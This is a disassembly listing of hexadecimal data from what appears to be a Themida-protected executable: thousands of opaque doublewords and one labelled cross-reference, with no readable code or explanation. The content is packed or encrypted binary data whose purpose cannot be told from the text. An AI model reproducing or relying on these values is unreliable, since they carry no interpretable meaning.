		dd 0EE2DFD03h, 0F08F6359h, 156B9BBh, 0D8BC5E3Eh, 318B0F09h
		dd 3338020Ch, 10F024C1h, 3A5533Dh, 8E51B9A6h, 1900ECC4h
		dd 0A1091269h, 12A91EBAh, 15B76DCh, 18C3EC24h, 8ECC4071h
		dd 31C6FDCBh, 914DD2h, 9ECEE749h, 75F28EABh, 2AAD5302h
		dd 0E067F6B1h, 488F34A5h, 493CCC3h, 1F484034h, 4A754F85h
		dd 29EA008Dh, 4C91180Eh, 49A0132Ch, 0C901701Ch,	6E437740h
		dd 3F041C32h, 0EC290Ch,	8DB749Fh, 1064B26Fh, 18626EF4h
		dd 0AA10D44Ah, 8896814Bh, 41FDD138h, 8857F0F3h,	48FAC5E9h
		dd 0B1130050h, 6C2534DFh, 0D96D6400h, 9F218A29h, 0EC8C480Ah
		dd 0F8223448h, 667E8271h, 25EDD800h, 0D4CB60EFh, 0E5D0010Dh
		dd 37ECADFh, 4DC081ABh,	9F4B013Eh, 43F068F1h, 9610B3AAh
		dd 8CA9007Fh, 0E3074E02h, 0EEDDCF00h, 1965C410h, 2C824C9Fh
		dd 6A8DD489h, 7B5C10E0h, 980029C5h, 0E1035DDFh,	2CAFA94Ch
		dd 6D0C7A2h, 69922705h,	86B5A700h, 0C662C5E2h, 396000A6h
		dd 0F537A803h, 0F8F22D89h, 10E07F4Ch, 0EB131779h, 59980872h
		dd 0DF08B100h, 9129413Ch, 929B0038h, 160E782Bh,	0F9105005h
		dd 0C49622C1h, 683A20B0h, 8F0EB904h, 308A7EC2h,	0A0D30B00h
		dd 0D0DF0709h, 700A1000h, 9563FF9Dh, 0C139C4FCh, 3ADE4662h
		dd 0EEC03069h, 0CAC508D9h, 0E7684560h, 20C88F07h, 0DF1D3D9Fh
		dd 0F6930CC7h, 5EAD5442h, 0E4E468h, 9950631Ah, 0C4059721h
		dd 10F9E5EEh, 0C67D3447h, 19EAF739h, 0C674904h,	0C00A0409h
		dd 0F2B403FBh, 0CDE09F15h
		dd 88C3AE81h, 509BC9F8h, 0E67608A1h, 1DFCAEAFh,	404413BDh
		dd 0A4D01EC9h, 0DD007B18h, 0EAED43F3h, 13217E9Fh, 200504E6h
		dd 0CB123F8Ch, 6051C42Ch, 0C36E7082h, 20190E80h, 1E382049h
		dd 1438F4B0h, 343864A1h, 91CF4083h, 0E1804CD1h,	6F4F7955h
		dd 9312D4F1h, 0DF0094E2h, 0CB088CF8h, 369C00BFh, 0B3C74AB7h
		dd 0D324F263h, 882BCBCh, 0C7F6BF5h, 7240DC90h, 6D4E18DFh
		dd 85EF6140h, 3D03A8F0h, 0D076C8E1h, 9EA801C0h,	0A44238D2h
		dd 409CFD37h, 7E13F59Ch, 889AC688h, 0FE48C78Eh,	834E8818h
		dd 9C1C4AC6h, 848320DFh, 0F400D1A8h, 2FD3E43Bh,	4CB3Fh
		dd 7F9977E1h, 944F7EC8h, 3C10249Ah, 3E0601EDh, 698C27BAh
		dd 3D57C000h, 31EEF130h, 711F09D5h, 0E0882A6Eh,	0AC210140h
		dd 205B6B67h, 5300F94Eh, 0F10F3A99h, 0FE77E9D7h, 92233AE7h
		dd 900B3314h, 40B404D6h, 0CD0A036Ch, 0E5190C7Bh, 77818B27h
		dd 7A3A6CB8h, 12F89FA5h, 0FB69D6B3h, 52C7C2A0h,	0F50A08E8h
		dd 1C0259C2h, 36A84C3h,	27E1CAE0h, 85298F88h, 0FDA7CFD8h
		dd 68E8093Ch, 9F602711h, 0DD086E10h, 9C704D2Eh,	78A55D74h
		dd 0D107094h, 17735802h, 0F4320A4Dh, 18693073h,	0C3B40282h
		dd 0E2270282h, 0F9C6E090h, 8D494484h, 3472891Fh, 289CFA83h
		dd 0C07C920Fh, 8064541Ch, 609001B1h, 38FA4703h,	0C084E4A3h
		dd 35CF943h, 0FD08C85Eh, 0C00B5722h, 81E00A73h,	45CCCBE1h
		dd 0A0DE408Eh, 75790680h, 502B462Bh, 0A807A4D8h, 248BEC4h
		dd 0CA8F08E7h, 0F818145Ah, 0DF2981C3h, 10F304A0h, 0D09BC48Fh
		dd 8DCDF928h, 0C4C010A1h, 6905A9C7h, 110CC9FFh,	34A08840h
		dd 59F4809Eh, 720550A6h, 427098D3h, 0C1F885D8h,	1688D459h
		dd 19F40C71h, 0D3881A70h, 2401E94Bh, 5B5DE809h,	859E4D00h
		dd 81D9048Ah, 54B4986Ch, 0FFB88856h, 0D3E953F0h, 65830D0h
		dd 0BC0034DAh, 44EC2642h, 1670A371h, 42CE092Ah,	4EA8F3DCh
		dd 3BF2100Ch, 5429CCBh,	6E38C31Ah, 0ECDB1044h, 9E40DF40h
		dd 9088F7h, 19044913h, 76A09040h, 0C079B6C3h, 1EA1A529h
		dd 6E19C883h, 9F3087D3h, 88EA5470h, 425C7DEh, 86B82155h
		dd 6059897h, 1828B6ECh,	0C3733706h, 5C584B44h, 15802C67h
		dd 0B9847462h, 0A43F38h, 0D7637A19h, 37D3F49Dh,	13060B4h
		dd 84A6C705h, 6630C3F9h, 7843800h, 0C00197DEh, 0DF8369D2h
		dd 0FCFCBF01h, 2AC7A4Bh, 3CC907CAh, 0C8F735h, 6F1910D4h
		dd 39183EC2h, 0C3DC20DEh, 2E046069h, 3651447h, 4CE70D20h
		dd 10D0544Ch, 92031501h, 3FD4F31Ah, 460E881Eh, 0A0E0D309h
		dd 0EE2E02F4h, 954A00FDh, 4EC877BDh, 7E5DF46Eh,	3B3600ACh
		dd 0C32FC75Dh, 4BB5305h, 0A283D188h, 80FC1D40h,	367EBEh
		dd 0B854C91Eh, 0FDF428B0h, 0E30518CEh, 1C06CCABh, 408A7D40h
		dd 9089237h, 5A009948h,	3944955Bh, 22B40D7h, 30D515B1h
		dd 8200BAEBh, 0D3A91C36h, 68301858h, 5578014Dh,	5640ED08h
		dd 12D707C3h, 3B70A057h, 290FAFAEh, 6E0E9AD4h, 6E080A0h
		dd 1B382C8Ch, 8019E88Bh, 0E03CFFE1h, 10DD7215h,	0E4DB2C01h
		dd 86C08ED4h, 0E20B00E7h, 3A6A5A2Bh, 29C2298Bh,	81C4DBB6h
		dd 363EE80h, 0F453AC20h, 50D43FBAh, 45308853h, 0AD8BA8A9h
		dd 66D4A00Eh, 0B4BA8370h, 3A90140Bh, 5C850845h,	84B44389h
		dd 4178615Eh, 0BA8AB615h, 8C7C38C0h, 9111B33Ah,	40B01954h
		dd 0C00979DFh, 0B23042F0h, 24BB212Dh, 80C0AA40h, 18B11B76h
		dd 3418A0E0h, 3D57DB2h,	0EC422C8Bh, 707ED49Fh, 39F31388h
		dd 0ACD426AAh, 0A498097Eh, 780614BDh, 0DD60C034h, 9244E441h
		dd 12109232h, 1E0AF347h, 0D709C03Ah, 0E1F4E9BFh, 70C3490Ah
		dd 0E71198ECh, 824E8410h, 23B65C2Bh, 0BC8391BDh, 7A0C5000h
		dd 399B79EAh, 0BE7587h,	78F8B26Ah, 0E59F0EBh, 0F93A7F00h
		dd 0E85BD71Bh, 1DEF0064h, 2F761CA9h, 580059FAh,	7B9474EAh
		dd 67C682h, 69C76057h, 59CEDD9h, 0D5CC3600h, 0DC65DD6Bh
		dd 29F01881h, 0F8314057h, 555A20h, 0B3937B8Ah, 0B5607281h
		dd 0E4EF7D00h, 364419A6h, 995F00F9h, 0DF81D878h, 1D7CA8DEh
		dd 4EF81E00h, 908DEA6Bh, 0B395043Eh, 89667273h,	0AF041AB4h
		dd 7001F8D5h, 0B1933D95h, 30D82181h, 0DC00EDFAh, 0F57711A6h
		dd 0EC5AFBh, 0F06BDBAAh, 750B56E7h, 6C42A48h, 94883919h
		dd 79C70040h, 40B2A825h, 0AB00E4E3h, 0A24441Eh,	7665E54Dh
		dd 0C977D0h, 367F0587h,	0EB1D5F04h, 208C3F80h, 0CC0076C4h
		dd 92EFE640h, 324405h, 78E056EEh, 0E7F42EE4h, 519A3Fh
		dd 5A50043Ah, 0DE8938h,	64B08C54h, 73C6B125h, 98EFE513h
		dd 17063809h, 1395D94h,	0CA993C90h, 0E4705777h,	0E4D80040h
		dd 2D440491h, 68FE4CF2h, 0E5006BF4h, 8F029D1Dh,	0F21BEF2Fh
		dd 946F0035h, 32BE8B44h, 0F800A66Eh, 0A7EEED69h, 901E9150h
		dd 5DD60068h, 0CDC8090Fh, 83010C92h, 1917EE24h,	3EE46F36h
		dd 40C1609Bh, 0DA7AF8ACh, 5093E400h, 58F63A77h,	1D7100EBh
		dd 56E1E570h, 24007F1Fh, 366B5AFFh, 0E43E873Dh,	55321DB3h
		dd 0DA7B01B2h, 664293E2h, 77A0AE8Ch, 9B007121h,	64C6987Bh
		dd 1DC8AB57h, 81DDE76Ch, 0FB094442h, 80ED0052h,	0A8E016E6h
		dd 6C982010h, 9B007BEAh, 80058C38h, 0B1A666h, 97E5D770h
		dd 0B3397F1Ch, 80DF5A3Eh, 0F6F4641Dh, 11A0C99h,	184FF9D3h
		dd 0C8973D38h, 7501C094h, 40BC9B59h, 11D8FAEAh,	3077544h
		dd 1D77E64Dh, 9898E166h, 3400831Fh, 0DC555EFCh,	43AA3Ch
		dd 6B32B292h, 0AC7DB4A7h, 205EC79h, 50B32A3Dh, 20D2AC82h
		dd 2375049Dh, 8819EE29h, 0F67F0423h, 0BFF77C00h, 0C1FF4325h
		dd 136001EEh, 0C35C10F4h, 0B0344A35h, 4722CAh, 5C0C25EFh
		dd 6126F9E4h, 0DB32A305h, 1C70DF0Ah, 0CF978B92h, 0D58F4910h
		dd 0F21300Ch, 3450B00h,	0B729FFA7h, 3609CCAEh, 13006F21h
		dd 9F613145h, 0E92C2B3h, 338EB2B4h, 285508AFh, 530050ACh
		dd 0EF91234Ah, 407E9B3Ch, 9CF0343Ah, 6FBE8A3Bh,	0FDDE10h
		dd 0C32C8C15h, 17B0B2FAh, 80D83328h, 13412764h,	0EF18D579h
		dd 82F1072Bh, 9D88003Eh, 92D4B84Ch, 0B15302CCh,	303F201Ch
		dd 0A2992E62h, 0F8F2D148h, 8C70BE00h, 0BADC0B78h, 45B307Fh
		dd 0F1032559h, 0FCF7E9F9h, 9CC86BFh, 0C52111h, 0CD70F10Ah
		dd 8DD477FBh, 3CAE900h,	997E3E7Dh, 0AFB83B54h, 30152C81h
		dd 50BC5E10h, 8272DBD0h, 4331D201h, 6B3A099Fh, 216008BFh
		dd 0FE827AF6h, 0ED4A5803h, 8894B095h, 60123E7Ch, 83A858BEh
		dd 3CE033E7h, 0BF6B314h, 28C884A0h, 14370B5Ch, 502094C0h
		dd 88CFAE28h, 2A5435E0h, 44004D84h, 4227415Bh, 0BC0E26B2h
		dd 903F9E58h, 1BB300BAh, 86774350h, 0FA4018A8h,	2E1E48D9h
		dd 90CA9632h, 0F09C932Ah, 49C80A05h, 0A30348C2h, 3C767BCEh
		dd 442BD6C8h, 0D008C966h, 0D7040F21h, 5D05BE7Bh, 80805CCAh
		dd 9492DEE6h, 7903F8A3h, 9734FA88h, 1EE9D81Ah, 397C0F9Fh
		dd 13C0047Ah, 72A918E6h, 2B7E31E8h, 32661E0Ch, 18A298A4h
		dd 0B0EDE140h, 296092E5h, 0AA9060F9h, 66D400F6h, 852FEF3Eh
		dd 2A007186h, 75D679B7h, 508A8B3Ah, 1A881Eh, 45AC0D80h
		dd 414231Dh, 29BFA714h,	48C7CECh, 31CF8275h, 20C8625Bh
		dd 32827DF9h, 0C249ED1Dh, 0F8693644h, 96751490h, 44A10E0Bh
		dd 2DA0B77Eh, 0C4BAA095h, 6CE840E1h, 23747784h,	4D021CA4h
		dd 0A90B553Ah, 93032F8Eh
		dd 0B81E055Eh, 9B093215h, 341020DAh, 289A66FEh,	0C8D4C2C7h
		dd 79C011C0h, 4631CB82h, 0BE227Bh, 208281FDh, 5A40CF4Ch
		dd 95FCD87Fh, 76AF9300h, 13F53B91h, 54A6EEE7h, 3AF0C1h
		dd 0E8AA7859h, 0C42C8BC2h, 82B619C5h, 0F83B3C00h, 549397CDh
		dd 7276D040h, 5CCA3A69h, 0D5428480h, 0E025E46Eh, 0B6AEF700h
		dd 67E6A060h, 0D60A0D23h, 0DC392892h, 25004FDDh, 0F8D3506Fh
		dd 113279Eh, 9809E968h,	0FEF0BAB2h, 0BB3CA880h,	8CA062D1h
		dd 0B663ABB0h, 0ECFB5C99h, 83872D00h, 7C04192Bh, 0E9BD6CD5h
		dd 8E3B9880h, 22068008h, 2224BA80h, 5D37DA40h, 6960D9AFh
		dd 73B35h, 0D17EDCB7h, 31E0547Ch, 0D60BA78h, 0A3850988h
		dd 8AB6182Ah, 966539E7h, 85E13271h, 2B94EB71h, 99DB54B4h
		dd 18127954h, 0F4D30094h, 35D24C5Fh, 0AE4CEC6Fh, 1BBC1018h
		dd 2296EBCEh, 0C30D61Ch, 0A7021145h, 873388F7h,	4045146Eh
		dd 5D31A495h, 0A4C2700h, 0C248A8CCh, 12C092E6h,	600E3014h
		dd 0D0827438h, 11533123h, 7CF801C9h, 94EEAE82h,	413E6420h
		dd 148C4429h, 926645Ch,	7BCFC038h, 0FA213C75h, 0FDC4B9D7h
		dd 293ED80h, 67090D6Dh,	3C4492A7h, 0E17DBD00h, 0B0D6EDD3h
		dd 0A09E2C7Ah, 0AAC0000Eh, 448394F2h, 4A1A6D16h, 3723842Fh
		dd 0DF5A0C07h, 0B9C6C851h, 0C50091BBh, 0E0B8D759h, 3909F91Eh
		dd 8EAF1908h, 8004163Eh, 5454B31Fh, 3A16BA22h, 0FC236357h
		dd 450C180h, 460060CAh,	21348139h, 949FDABCh, 0FF81C811h
		dd 0D4B61602h, 930FAFDCh, 185F35B8h, 76A0779h, 2E755821h
		dd 0A8D2F628h, 317B840Fh, 0AA326239h, 2AFC4B9Dh, 0EE0CE98h
		dd 71662F79h, 9094AA84h, 3B011284h, 0A6D12D60h,	0B2EB6338h
		dd 30342258h, 8E91AF00h, 46089E13h, 3A4F0697h, 2126933Eh
		dd 0C7178800h, 0A6F7B787h, 0B689176Fh, 38C2180h, 74032E4Fh
		dd 0D7F6D045h, 0B97DB681h, 0BA342183h, 900002D8h, 0CA3AB0DDh
		dd 253E04E4h, 80C09AB2h, 0AE607730h, 2864E798h,	90C8985Eh
		dd 0B85129E8h, 0B00BBECh, 336A066Ch, 480A0413h,	0C4FFA053h
		dd 0D0800811h, 0F23C747Bh, 0D8FE0087h, 7F88EE7Bh, 0F7233900h
		dd 0AC31111Ah, 50CB445Eh, 9EBB8100h, 127D8FCh, 0B5A700D3h
		dd 9F51031Ah, 0AA1A31C2h, 41D835CCh, 9211AEBCh,	0E9C5027h
		dd 881C25D6h, 5912C95Eh, 0C5BF3C04h, 0AAE4060Eh, 8B3C476Fh
		dd 8C901C95h, 616648A9h, 467E28ECh, 2F54D1C6h, 14CA0C61h
		dd 0BFF23462h, 585CFF30h, 31052B78h, 4FB1D9Ah, 26CCD0h
		dd 3C174ADBh, 1C5F5C29h, 34EBE280h, 110014D4h, 4584D5E4h
		dd 5D28BA9h, 4D071BF3h,	9EDC83AEh, 6625FA81h, 3EF2F0E0h
		dd 7E8F0F96h, 2892CA2Eh, 0B0605E0Ch, 69C73831h,	0F3651D0Bh
		dd 0E993C192h, 0E4806437h, 9E06E58Ch, 0D6765006h, 2DE60238h
		dd 7F04D9AAh, 0A7AB4040h, 55667B00h, 0ACA3C83Ah, 201B48A2h
		dd 869CB002h, 0C8518B70h, 0A3183279h, 0A87F9C00h, 0EA0399E9h
		dd 0D073481Bh, 160E1E10h, 700E4868h, 20C8D09Ah,	7A1140A6h
		dd 8F0FE81h, 3313617Fh,	0CA887240h, 0EAF10005h,	0F2D78826h
		dd 0A812739Fh, 0F0418250h, 0AF52367Ch, 686BA444h, 8AEE73h
		dd 0CD611B8Bh, 5C3B6364h, 0B881AB60h, 32301EF1h, 0D570B273h
		dd 6500F866h, 4E690119h, 8F9B98h, 537614B6h, 5D4AB7FAh
		dd 6E841C01h, 7F091D68h, 0C007B071h, 0CDE03039h, 3C77087Bh
		dd 0CC64D6CAh, 7B60034Fh, 0D3BE7E91h, 7D09E203h, 0A9C8646h
		dd 0C650A6F0h, 68DB9D84h, 1DD34680h, 0A75D4509h, 3DC82A50h
		dd 45117181h, 1DC3FC9h,	0C66CA02Eh, 4881C0B5h, 386CA732h
		dd 0FA9CCFh, 27219846h,	91A4B09Ah, 85B8840Ch, 9C50CE77h
		dd 0F43B00E3h, 0DB97F82Eh, 0AF9F7309h, 0AA5407ABh, 0D4A07001h
		dd 40D6E060h, 2D903227h, 7D783761h, 7470BA05h, 1312984Ch
		dd 594B3E4h, 8CB90F40h,	3188EB7Ch, 0D5150020h, 1D12ACDDh
		dd 6100E613h, 0CC5F3790h, 12710A4Eh, 7BB33646h,	10D10028h
		dd 8B397740h, 0F7B41D34h, 0D25683ADh, 0B8F6FC92h, 0D8AE5C33h
		dd 6388166h, 0CFC7418Ch, 8800FBA9h, 0CAB83599h,	0CB1387h
		dd 159448BEh, 61ABEE12h, 124EE83Bh, 5440FE5Bh, 0A2D97CB4h
		dd 0BA9100F6h, 7A055EFCh, 0C2248A7Eh, 28B5C42Dh, 0A39FDCCEh
		dd 11CCF000h, 60928A6Dh, 3DF7B125h, 0D87B3BA8h,	66F0AC00h
		dd 0C7B0F222h, 367F1231h, 2434C021h, 0B7C4D2Eh,	0A3809494h
		dd 8511D4ADh, 1D66000Fh, 37D30ABh, 2E7357A6h, 0B20AB498h
		dd 980C98BAh, 905DE30Bh, 189961Ch, 26BF978Fh, 0B3FB38h
		dd 0F02B14CCh, 12F54A8Bh, 0C89CCBCCh, 0A8DCC0C4h, 9B05B033h
		dd 95D4C777h, 81307840h, 0D90ABDh, 8E2A3CBAh, 9F359A7Ch
		dd 0D5E33Eh, 0B0513A82h, 0B981B61Eh, 0E940280Ch, 4ACE0910h
		dd 0B482AE02h, 0E0E6B79Eh, 91F81900h, 87D81138h, 0A6024506h
		dd 609C51E7h, 50450E6Ch, 8FF6283Ah, 0C0DC4FABh,	5E13D7A1h
		dd 0B81C0B5h, 0A0EF9686h, 0E08E1500h, 0D413C2B8h, 2D1E02AFh
		dd 0A78055Fh, 9A665068h, 0A021B229h, 9118C6F1h,	0C50203Fh
		dd 48344283h, 0BDA525B0h, 0A2933C22h, 0A3028C72h, 1224E38h
		dd 800CC1BFh, 92F1D519h, 4CCCFF98h, 0ECC4890Eh,	0E002E2F1h
		dd 0E82EA9ACh, 748E491h, 184FC8B0h, 6B2C90B8h, 591C3A4Dh
		dd 1642EFB4h, 50F9AA2Eh, 7113022Ch, 0DD40A68Ah,	5C15F470h
		dd 4908ECB5h, 0D6660140h, 340CBAD3h, 2F4EBC2Ch,	0C23F8h
		dd 4298F422h, 7000BCACh, 36E2A53h, 915ED5A4h, 0DDC0018h
		dd 0D10B85D0h, 977EE43Eh, 8C28C69Ah, 249131C2h,	30E3ADF1h
		dd 0A60064C7h, 536843D4h, 0F91C061h, 7913558Ch,	24AB2820h
		dd 91C9143Ah, 5710105Dh, 0E87795h, 5AB046DEh, 2B2DBDC8h
		dd 80AF0438h, 0D1A8AC29h, 28BAEBD9h, 768019B0h,	5F4E5A66h
		dd 0FE2739C4h, 3115D0E8h, 23208749h, 82770713h,	626BF4CDh
		dd 7FFB20C7h, 19179E82h, 50008DA9h, 367E8EA8h, 2588B4D2h
		dd 3B912C97h, 28072B80h, 9CA0E757h, 0FE323647h,	406A50CBh
		dd 802E8A48h, 5B079113h, 86A8E61Fh, 7D880019h, 0C476FC85h
		dd 22AAF0h, 486C9919h, 8FB8B92Eh, 2FEBB33Ch, 9E9E4C51h
		dd 12302B22h, 65582584h, 16733125h, 80FC0014h, 5191F982h
		dd 8D027C59h, 2EE816A1h, 705873F6h, 0E8006CDCh,	0DFCCEA2Dh
		dd 0EED9918h, 0BFEEA945h, 0F0A43704h, 260924B8h, 0E2BC924Ch
		dd 8230C0B4h, 91FCB4C6h, 48A8052Dh, 0C0D0DC56h,	84956266h
		dd 802DA46h, 0D7A6FE45h, 6A103D31h, 55014510h, 4636E988h
		dd 489DD16Eh, 0DEC131C7h, 0B077FC06h, 19246F00h, 3D2D4E5h
		dd 6C7E08h, 64FB5DD8h, 1769DDBFh, 84B67912h, 9AD2A421h
		dd 4C80DCDFh, 603B4744h, 0AF0D183Eh, 0ED0F2259h, 87CC9912h
		dd 0E8B92492h, 8A063664h, 0D16A8002h, 539C5E03h, 0C9A26C59h
		dd 3DD63230h, 0E5B42E8h, 7090B290h, 0AC3152h, 746162AEh
		dd 48E5CCF9h, 0FABD1C14h, 124D2B30h, 4F658E3h, 414B0CCh
		dd 54E389B6h, 0D9084070h, 0AA6C1913h, 1FC2FC04h, 76C2589Eh
		dd 55C135B3h, 0E61A7064h, 0FCAAAF26h, 0AD4B4440h, 0F17E0B04h
		dd 0A4585692h, 364418A7h, 8EE05A60h, 99CA3B00h,	4F1AD8E3h
		dd 37012A0Ch, 44A4B0F0h, 281723BAh, 0A9004B77h,	0E8906A44h
		dd 0E4780501h, 0A22EB948h, 0D42358h, 0A704450Ah, 44862A07h
		dd 1200703Ah, 3C11AD45h, 0BC264E93h, 49B196A0h,	2405C02Ch
		dd 0D73048D0h, 14561CFh
		dd 8C23EFA7h, 450D6D80h, 0B303E8DFh, 30A89E7Bh,	0B891E473h
		dd 0DC7D9683h, 3195B11h, 4E2CDE1Fh, 6080D29Eh, 0B7E6D7h
		dd 748F55C9h, 686C5149h, 5E1EBB04h, 0B480C7D2h,	139B2D79h
		dd 0B5B153Bh, 0E0476904h, 1C6032C4h, 2000C6E5h,	3AFC4702h
		dd 0EB5B66E6h, 5A9AA180h, 0A1412718h, 46F94200h, 833C9EC9h
		dd 0EAC9A7Ah, 57262504h, 0A87021D7h, 1078F650h,	2B21850Ch
		dd 8808A881h, 0FA4B48A6h, 46248003h, 4CD8D62Ah,	0D210EC6Dh
		dd 16F23F21h, 0E45D7E40h, 0C5C62E06h, 3432E928h, 3061C424h
		dd 0EC9A3231h, 4400E49Eh, 284B9773h, 90306F0h, 70C81648h
		dd 4E5E8408h, 1C2F12D0h, 0FC1066B0h, 0E2FC2C02h, 609B7843h
		dd 80C45AB0h, 0E90139E5h, 4DC8CCB4h, 0A851135Ch, 0E7E0DCA6h
		dd 4BB500E5h, 947A0A8Eh, 5402F462h, 7453042h, 18E6EEh
		dd 0F99A18D9h, 0E748138Dh, 4F4CD103h, 9009ADDDh, 0B21A6B2Eh
		dd 0F13F3FF8h, 0A231E282h, 0AA111FE4h, 0B2D4D450h, 0F8375810h
		dd 22A8B0A1h, 9B3C05F8h, 88881E5Eh, 8C705039h, 0A466E86Bh
		dd 6538989Ch, 0A3A2056h, 82EC41F5h, 3518ECEDh, 75D1F860h
		dd 20CBE100h, 33392F63h, 251109F4h, 0C0ED14E7h,	0B3EFDD60h
		dd 33E701F6h, 4A8A7EF7h, 0D7902C27h, 5E3698C1h,	4F0295C9h
		dd 0DC7B6C71h, 7E52DB60h, 0E0DA662Eh, 0F8E4781h, 246C482Ah
		dd 0F6C57C02h, 10654A13h, 246032E4h, 85000172h,	0E486831Dh
		dd 344D5BDh, 0F134C95Bh, 31C014D3h, 0BA13A005h,	3C820F10h
		dd 0F92048FFh, 0DAD100DBh, 0FE050E5Ah, 6F015F0Fh, 2446BF0Dh
		dd 2983083Ch, 0CC323E7Ch, 0D84EC024h, 0ECAE15h,	73297E0Bh
		dd 4AB6D656h, 0AA085CBh, 84F0AEB0h, 915240A8h, 607BFCE0h
		dd 2CA8017Ch, 0D480C476h, 0DB122E50h, 0FD688A34h, 392209CCh
		dd 0BC5CCEh, 1BF4656h, 0E5C69D6Fh, 99EC4E76h, 92320847h
		dd 420233D4h, 560AF2B2h, 49BE445Ch, 67F04DDBh, 1DC4000Dh
		dd 0D67FBDCDh, 0D483D891h, 0CBFCAC69h, 0F9048863h, 95500520h
		dd 52CEBDh, 92A831E2h, 0D22A4670h, 4813A09Dh, 3821B43Ah
		dd 0AE0CCC56h, 0BF03A88h, 1DC5FA12h, 3008E40Fh,	28B09F01h
		dd 843CEA37h, 3C879E88h, 28FC3E8Bh, 84195069h, 281E42A6h
		dd 0E8835C40h, 5054B4DDh, 0F0D40655h, 0A9D8F63Eh, 86BFC768h
		dd 9C42A845h, 7BCC300Ch, 0D23C7808h, 0D50258D6h, 0BDE57B01h
		dd 0C0AA3A6Eh, 51C2CC74h, 4041CCC5h, 0E18202CEh, 0B23E40AEh
		dd 7FB0403h, 0F47585B0h, 24EA026Ch, 8240D0DCh, 1708E62Eh
		dd 0DA49B855h, 115C0C0h, 24E886A1h, 1110C4A6h, 0F0019C7Ch
		dd 0C1F7F06h, 0C888180Ch, 14F10007h, 0B2839008h, 0D2033543h
		dd 0A8B6C73Ch, 44B1118Ch, 0CFAC030Ah, 90042EA9h, 0B8D289A2h
		dd 7B7AF02Ch, 0D1489932h, 47618CFh, 2089B0B6h, 10F281h
		dd 232ACE85h, 1868DFCFh, 99DBD119h, 2633924h, 0B85E91h
		dd 564F7931h, 9947BAE7h, 22214C90h, 5C3919Dh, 7E4B2BAh
		dd 0CA9AE042h, 0A8C05434h, 0EC7CF924h, 58283210h, 69E43BA0h
		dd 367E8218h, 0A9C0A016h, 0D3ED5E73h, 0B0D00659h, 8BFE4127h
		dd 94787540h, 182F98A4h, 138573A4h, 0F6FC0076h,	2E0EB2B4h
		dd 14E1B80h, 0A7A47444h, 0E2C84D43h, 39228840h,	0BD3F1084h
		dd 64E500B9h, 0BEA49ED2h, 753A014Dh, 4B28B11Ah
		db 0B5h, 7Ch
word_514F0E	dw 8E78h		; DATA XREF: Themida_:loc_5F8AE9o
		dd 5C1590C2h, 0EA79A016h, 752A00B5h, 46FAEA0Ah,	0EB00D336h
		dd 48DAF861h, 95A234A6h, 231E7818h, 48342E89h, 1028C7Dh
		dd 277F05F1h, 1019190Ch, 38F108C7h, 4F83B3B0h, 35A9B3Ah
		dd 2B935012h, 98088A5h,	6AFF2A4Dh, 5426317Fh, 0B08BA434h
		dd 7804CAB1h, 0A4A75218h, 1B36B600h, 33CE094Fh,	3256B8A0h
		dd 126439C0h, 1E2AE38h,	9C86DD77h, 0FADBEF8Fh, 0D48AE8E0h
		dd 7A744082h, 81AE80CCh, 0A7369802h, 5E14E6F1h,	0DB00D62Ch
		dd 6A2D67F2h, 1F16AC23h, 3AE48ABh, 0FBBA9B36h, 0CA1A7010h
		dd 9F38A60Eh, 2E7C8898h, 0C03E0D5Ah, 7003923h, 9FED234h
		dd 7C8407C0h, 81C4D580h, 32CEB666h, 0CBD71290h,	0AA9F1032h
		dd 4674E4A4h, 0A01701CDh, 8BADC4Dh, 60844AC2h, 92CC921Bh
		dd 7AE3048Ch, 0BC74A2DCh, 0D4E42458h, 89D29E08h, 0B804FEF0h
		dd 80056A8h, 7D127FC5h,	7ADCB07Bh, 367E800Ah, 98012A4Fh
		dd 0D3FE48A2h, 857C303Bh, 9E63125Eh, 0D00DEF59h, 258B3A81h
		dd 0A80937B6h, 9338E418h, 8A0BA313h, 0A09041Ch,	7BEC71CEh
		dd 0E3A160F4h, 838B260Ah, 1C80834h, 0ECB45B13h,	49110F02h
		dd 81C0C7F4h, 4E04CB67h, 5C872A00h, 18AB83A8h, 48B4F21h
		dd 320CEC00h, 0F184591Ch, 0F7E1C3Dh, 2A467C69h,	87002192h
		dd 229063BBh, 2ACCA0BDh, 86809A07h, 7A372544h, 6680C8BDh
		dd 0CA509AE0h, 0D37E1FDAh, 86E3408Ah, 0B972AC9Bh, 2808F509h
		dd 0E670E05Bh, 91A84EAFh, 887939BCh, 641A9490h,	7C015222h
		dd 0BFA4B04Eh, 0B50D3182h, 9C657978h, 0A20109Dh, 9586467Eh
		dd 0C6574288h, 5C514C5Eh, 69DE048h, 2B08567Fh, 0EF2E30D4h
		dd 46F630C4h, 0BD5E1CCAh, 0B73D8D00h, 0C8D3F9F1h, 2C4F6B8h
		dd 2D220854h, 0E648A60Bh, 0CAC899ADh, 6488FC0Ch, 0B1E0180Ah
		dd 0D617B8BCh, 39B44486h, 0B2345004h, 0B0B022ACh, 0F42359Ah
		dd 0F2D0E280h, 45EA30C4h, 0C63B6900h, 7CDF3ADCh, 66B0C47Bh
		dd 8F24D9h, 21B23E84h, 0F508BCE6h, 26724287h, 84FE7C10h
		dd 0B0ACA23h, 1444A6AFh, 832E7403h, 0E5B00252h,	955C4088h
		dd 0DC17420h, 9300DC30h, 11AF1E02h, 13E3EF34h, 43DE2E7Eh
		dd 6730A8B8h, 0F0C2F94Eh, 20D8968Ch, 193B309Ah,	6620E2A9h
		dd 43104D0h, 0B0042FDEh, 0DD7488A5h, 0B9D1AB10h, 0E20D1A12h
		dd 0BB271070h, 8C0DF8h,	8F858B90h, 0FE758709h, 2142EA02h
		dd 0EC132E50h, 833C080Ch, 0A11F0486h, 37D8C1E7h, 0C6C9EC63h
		dd 0D700B852h, 29835140h, 674D70h, 740A4243h, 7F6F01BDh
		dd 0C85EE327h, 52243Ch,	0A1815B0h, 4B6BE936h, 1ABA3009h
		dd 4D34A7A9h, 0A8E3D731h, 443C9020h, 909982Ah, 7217EE92h
		dd 905B4F68h, 82130D88h, 9B38AA0Ch, 0E4EF816h, 2CB93A9h
		dd 80801297h, 498A7C54h, 0A2A46653h, 0A58F3011h, 857B8700h
		dd 8DA1E8Dh, 0EE6417E8h, 0B2386570h, 0B3AE0030h, 0EBE61E45h
		dd 0F75C0793h, 6047C917h, 0E4760E7Bh, 4CD44A48h, 0E70A80ACh
		dd 40AC9231h, 0B31E38FBh, 9D6F408Ah, 80C61178h,	137E2BEBh
		dd 0BA903F86h, 94AFCD80h, 33F07C93h, 0B9DB6716h, 600446Fh
		dd 18E5A74Bh, 690A63AFh, 0A8412508h, 0F533E740h, 564E8E4h
